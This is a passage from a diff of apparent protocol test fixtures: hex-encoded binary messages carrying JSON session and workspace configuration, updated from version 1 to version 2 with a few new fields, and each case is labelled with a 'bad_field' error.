"574d58310101000001000000500500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000008d0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-host-query-sees-the-winter-tree", "direction": "down", - "hex": "574d583101010000010000003c0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000790600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-host-query-plan-writable", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-profile-null-but-runtime-present", "direction": "down", - "hex": "574d58310101000001000000270600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000640600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-profile-present-but-runtime-absent", "direction": "down", - "hex": "574d583101010000010000004a0300007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000005b0300007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-guided-profile-without-binding", "direction": "down", - "hex": "574d58310101000001000000fa0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c